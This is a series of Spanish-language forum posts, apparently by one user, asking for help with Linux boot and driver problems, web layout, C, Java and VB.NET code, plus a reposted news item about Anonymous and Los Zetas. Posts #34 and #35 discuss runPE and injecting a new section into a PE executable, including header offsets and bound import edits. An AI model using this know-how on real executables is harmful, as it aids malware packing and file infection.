también instale kali linux e instale los privativos de fglrx-drivers e igual el ventilador iba rapido, pero despues de modificar laptop_mode el sistema quedo perfecto y quería intentar hacer lo mismo pero usando los drivers libres y modificando laptop_mode de 0 a 5 en fedora, pero cuando reinicio, fedora vuelve a poner 0 en laptop_mode, y quisiera saber si puedo modificar de manera forzada o con algún método para que no vuelvan los valores por default

alguien sabe algo de esto?
#33
hola

tengo una laptop con tarjeta interna atheros y me gustaria aumentarle la señal, pero ¿quisiera saber si es posible ponerle algun tipo de antena o algo?, se que se puede con las USB e incluso con tarjetas PCI para CPU, pero no veo nada para laptop, ¿se puede o eso es imposible?

salu2
#34
hola

Alguien de casualidad tendra el taller de ferchu en PDF?, es que las imagenes ya no funcionan, y no recuerdo como era la tercera parte del taller, que era sobre agregar codigo para que aparezca un messagebox

la parte que no recuerdo es donde dice que una forma de hacerlo es con un truco, que era restarle 0x28 a PE

E0 - 28 = 0xB8

pero en la imagen se mostraba donde eliminarlo y en que parte "CREO" se agregaba algo para que quedara acomodado, y no se que mas cosas se hacian

alguien me podria recordar como era esa parte, porque solo recuerdo que al final, se debia colocar los los opcodes de algun codigo en ASM para su execucion, pero no recuerdo la primera parte para acomodar PE y no mover Bound Import tables o algo así decía él

alguien recuerda eso, o tendrá el taller de ferchu con los ejemplos?

salu2
#35
hola

tengo una pregunta, es sobre runPE

cuando agrego una nueva sección supuestamente tengo que limpiar los bound import tables, con 0x00, pero he escuchado que es mejor optimizarlo, según tengo entendido, cuando no hay espacio para agregar una nueva sección es necesario insertar nuevos bytes y modificar RVA sumandole 0x28, lo que seria la nueva sección

por lo general borro bound import, la aplicación corre normalmente pero ahora se me ocurrio no borrarlo, y tratar de optimizarlo, estuve haciendo pruebas con notepad

el offset donde se encuentran los import es en 0x1B0 y 0x1B4

0x1B0 = 78 02 00 00

0x1B4 = 28 01 00 00

lo que serian 0x278 y 0x128

al ir a 0x278, es el final de .rsrc, despues son 128 hexadecimales donde puedo agregar la nueva sección, y terminando, desde 0x129 empieza ADVAPI32.DLL... etc

lo que me imagino es que es correcto

pero en esos 0x128 hexadecimales, es donde modifico 0x28 para la nueva sección, todavia me quedan 100...asi que como mencione al principio, si borro los import con 0x00, notepad funciona bien, pero tambien como mencione, tenia la intencion de mejor optimizarlo, asi que imagine que tendria que sumar 28 a los 278

quedaria 0x2A0 pasandolo a endian seria --> 0A 02 00 00

modifique los 0x278 de 1B0 a 0A 02 00 00 y guarde la aplicacion, pero me aparecio el error de windows

despues quise tambien agregarle 28 a size de import que seia 0x1B4

0x1B4 = 0x128 + 28 = 0x150 en endian seria 50 01 00 00

pero tampoco funciono, entonces despues de toda esa explicación, viene mi pregunta

De que forma lo optimizo para no tener que borrar import bound directory con 0x00?

ya que no estoy agregando bytes para poner una nueva sección por falta de espacio, solo estoy modificando los que ya estan alli, para agregar una nueva, hay alguna forma de modificar bound import? o solo se puede hacer eso cuando agregas bytes por falta de espacio?

#36
hola

tengo un problema, hice una pagina donde agregue con nav, un menú horizontal, 2 imágenes y un texto dentro de un scroll, hasta allí todo va bien, pero la imagen y el texto quedan un poco mas abajo de lo normal, y todo queda como estático, el scroll del explorador para visualizar bien la imagen no me aparece y el texto tiene su propio scroll, pero me aparece solo la mitad, ya que la imagen y el texto lo puse mas abajo y queda como partido a la mitad y no me aparece el scroll en el explorador para bajar la pagina

alguien sabe porque en el explorador no me aparece el scroll para bajar la pagina y visualizar la imagen completa?, estaba buscando si me falto algo en el background pero solo encuentro como usar scroll para texto o imágenes, espero me puedan ayudar

lo estoy haciendo con html5 y CSS3

salu2
#37
hola

tengo una duda, estoy sacando los tags de un mp3, y se me ocurrió encontrar la duración del mismo

hasta ahorita mediante fseek he logrado sacar los hexadecimales, donde se encuentra la mayoria de las cosas, pero después de usar un rato el buscador del foro me encontré con esto, pero es para visual basic

CitarPara la duración de un archivo de audio, lo primero que tienes que plantearte es el formato. ¿Es un MP3? Por ejemplo, un archivo de tres minutos en MP3 codificado a 128 kilobits por segundo (Kbps) ocupa 2,8 Megabytes en disco duro.

Bien, 2,8 * 1048575 = 2936010 bytes. Ok, entonces 3 minutos a 128 kbps son unos 2936010 bytes lo que nos salen unos 978670 bytes por minuto.

Entonces, coges el tamaño del archivo con FileLen. Supongamos que te devuelve 1174404 bytes. Divide 1174404 entre 978670 y ¡voila! tenemos que el archivo tiene 1,2 minutos de duración

con ftell puedo sacar el tamaño del archivo, y al parecer se multiplica por 1048576, que seria 128kb a bits (128x1024x8bits)

lo que no entiendo es de donde salio la cantidad 978670?, alguien sabe como o de donde se obtiene esa cantidad?

porque después de eso se obtiene la longitud y se divide entre esa cantidad y podría encontrar la duración

espero me puedan ayudar
#38
hola

alguien sabe como podria hacer para que un programa, al hacer la transferencia de archivos, me marque una cantidad sin repetir todo el printf varias veces por while

por ejemplo

while(i < tam){

leido = fread(bu, sizeof(char), 256, fb);
envio = send(newfd, bu, leido, 0);
i = i + leido;
printf("Enviando-- %ld bytes\n", i);
}



si hago esto me aparece


Enviando-- 3753472 bytes
Enviando-- 3753728 bytes
Enviando-- 3753984 bytes
Enviando-- 3754240 bytes
Enviando-- 3754496 bytes
Enviando-- 3754752 bytes
Enviando-- 3755008 bytes
Enviando-- 3755264 bytes
Enviando-- 3755520 bytes
Enviando-- 3755776 bytes
Enviando-- 3756032 bytes
Enviando-- 3756288 bytes
Enviando-- 3756544 bytes
Enviando-- 3756800 bytes
Enviando-- 3757056 bytes
Enviando-- 3757312 bytes



pero me gustaria que no se moviera, que aparezca estatico y solo se vaya aumentando los numeros poco a poco


Enviando-- 3753472 bytes



alguien tiene alguna idea de como podria hacer para que solo aumente la cantidad y no se repita tanto el printf como arriba?, porque me gustaria poner un porcentaje y la cantidad exacta algo asi


Enviando-- 2%   3753472 / 74021921bytes



EDITADO

P.D. lo estoy haciendo en linux

salu2
#39
hola

intento corregir este codigo de java, lo intento hacer sin IDE pero por algun motivo no me funciona me imagino que es porque no se invoca correctamente una clase, alguien me podria decir cual es el fallo?, porfavor

Código (java) [Seleccionar]
public class TestGreeting{
        public static void main(String[] args){
                  Greeting hello = new Greeting();
                  hello.greet();
          }
}


Código (java) [Seleccionar]

public class Greeting{

  public void greet(){

    System.out.println("Hola");
  }
}


intento compilar con "javac", un archivo se llama TestGreeting.java y el otro Greeting.java
#40
estoy aprendiendo a usar Visual net con mysql, ya llevo varios años de no usar visual basic y me estoy confundiendo demasiado, me podrian ayudar diciendome donde encuentro informacion sobre como programar con .NET para mysql?

miren esto es lo que llevo, ya son varias paginas donde busco y son distintas formas de acceso, pero no encuentro alguna que me sirva, algo que note es que hay formas de usar Reader y Datatable, alguien me podria explicar su uso

les dejo el codigo que llevo, esta medio revuelto de varios intentos, pero espero sea entendible

Código (vbnet) [Seleccionar]

Imports MySql.Data.MySqlClient

Public Class Form1

    Private Sub SalirToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles SalirToolStripMenuItem.Click
        End
    End Sub

    Private Sub AbrirToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles AbrirToolStripMenuItem.Click

        Dim con As New MySqlConnection()
        Dim user As String = "root"
        Dim pass As String = "gazette"
        Dim servidor As String = "localhost"
        Dim dbase As String = "bdatos"
        con.ConnectionString = "database=" & dbase & ";" & "server=" & servidor & ";" & "user id=" & user & ";" & "password=" & pass & ";"
        con.Open()
        Dim quer As String = "SELECT * FROM bdatos WHERE id = 1"
        Dim mycmd As MySqlCommand = New MySqlCommand(quer, con)

        mycmd.Parameters.AddWithValue("1", TextBox1.Text)

        Dim reader As MySqlDataReader = mycmd.ExecuteReader()
        If reader.Read() Then
            TextBox1.Text = CStr(reader("nombre"))
        End If


    End Sub
End Class
#41
hola

alguien sabe como podria reparar a fedora 17?, lo que pasa es que siempre me hace lo mismo, hay un momento en que se carga pero ya no me aparece el login, solo se queda la pantalla en negro y ya no avanza, al principio crei que era por los controladores de video, pero ya intente usar tanto los libres como los privativos... ahorita grub ya no me dejaba entrar a windows asi que modifique el archivo grub.cfg para poder entrar y lo logre, pero ahora me volvio a hacer lo mismo fedora

y no quiero tener que formatear mi computadora todo el tiempo solo por ese error, y en google no encuentro nada que me pueda ayudar, alguien sabe algo al respecto?
#42
hola

alguien me podría decir como puedo usar virtualbox como servidor web?

tengo en una partición backtrack 5r3, instale virtualbox con windows 7, tengo conexion de red como "bridge", si hago un scaneo con nmap, me aparece la ip como "up" y me aparece el puerto 80 abierto con apache

como servidor puse "wamp", y hago click en el boton para ponerlo online y cuando abro firefox de backtrack para ver el contenido del servidor, me aparece como que no puede conectarse, y no puedo visualizar nada desde firefox de backtrack

y me gustaria saber como puedo ver una pagina web puesta en el servidor de virtualbox desde backtrack

espero me puedan ayudar

salu2
#43
hola

a ver si me pueden ayudar con esto

tenia instalados windows y fedora, pero se me ocurrio instalar backtrack ya que ay actualizaciones que al final era molesto tener que descargar cada vez que lo usaba en live

pero tuve un problema, al principio solo podia entrar a backtrack, despues reinstale fedora y me pasaron dos cosas distintas, si tenia el grub2 de fedora, solo podia acceder a backtrack y fedora pero si instalaba el grub de backtrack podia entrar a windows y backtrack, ahorita ya logre solucionarlo momentaneamente, ya que puedo entrar a fedora y windows, pero al actualizar os-prober y grub2, perdi el acceso a backtrack, ya que no esta el acceso en grub2

ya solo me hace falta poder acceder a backtrack, pero no encuentro como agregar o arreglar grub2 para que detecte la particion de backtrack, y googleando no encuentro como agregar al grub2 el acceso, solo encuentro para grub o solo para agregar particiones windows

pero no encuentro nada de como agregar una particion linux a grub2, alguien sabe como podria volver a detectar la particion que me falta o como agregar a la lista la particion, se que lo que se necesita puedo encontrarlo en la carpeta boot de backtrack, que seria el kernel y la imagen junto con la version, ya que si puedo montar la particion

espero eso pueda facilitar las cosas, y espero me puedan ayudar

salu2
#44


Que opinan de esto?

CitarLa consultora internacional en materia de seguridad, Stratfor, previó hechos de violencia por la amenaza que el grupo de ciberactivistas "Anonymous" lanzó contra el grupo delictivo de Los Zetas.

Scott Stewart, vicepresidente de inteligencia táctica de Stratfor, indicó que que el grupo delictivo de los Zetas se ha tomado en serio la amenaza de que se divulgue información sobre sus integrantes y ubicación, por lo que "estaría planeando una cacería de hackers".

"Aún si no tienen a una persona bajo custodia, no me sorprende si Los Zetas salieran a buscar más miembros de Anonymous".

Incluso añadió que varios hackers "si son identificados como parte de Anonymous, podrían ser decapitados".

En su reporte más reciente, Stratfor, expresó que el grupo de los Zetas ya desplegó también a un equipo de expertos en computación para tratar de ubicar a hackers que participen con ellos.

"Hemos visto reportes de que Los Zetas están desplegando sus propios equipos de expertos en computación para rastrear a aquellos individuos involucrados en la campaña anti-cártel en internet, lo que indica que el grupo criminal se toma esto muy en serio", precisó la consultora.

Stratfor recordó que el gobierno de Estados Unidos ha realizado operativos de rastreo de los cárteles a través de las redes, por lo que "Anonymous, seguramente no podría entregar más información de la que el gobierno de estadunidense ha revelado, pero sí tienen la posibilidad de publicar mucha más información de la que el gobierno estadunidense puede".

#45
otro reto con problemas, podrian arreglarlo

gracias

salu2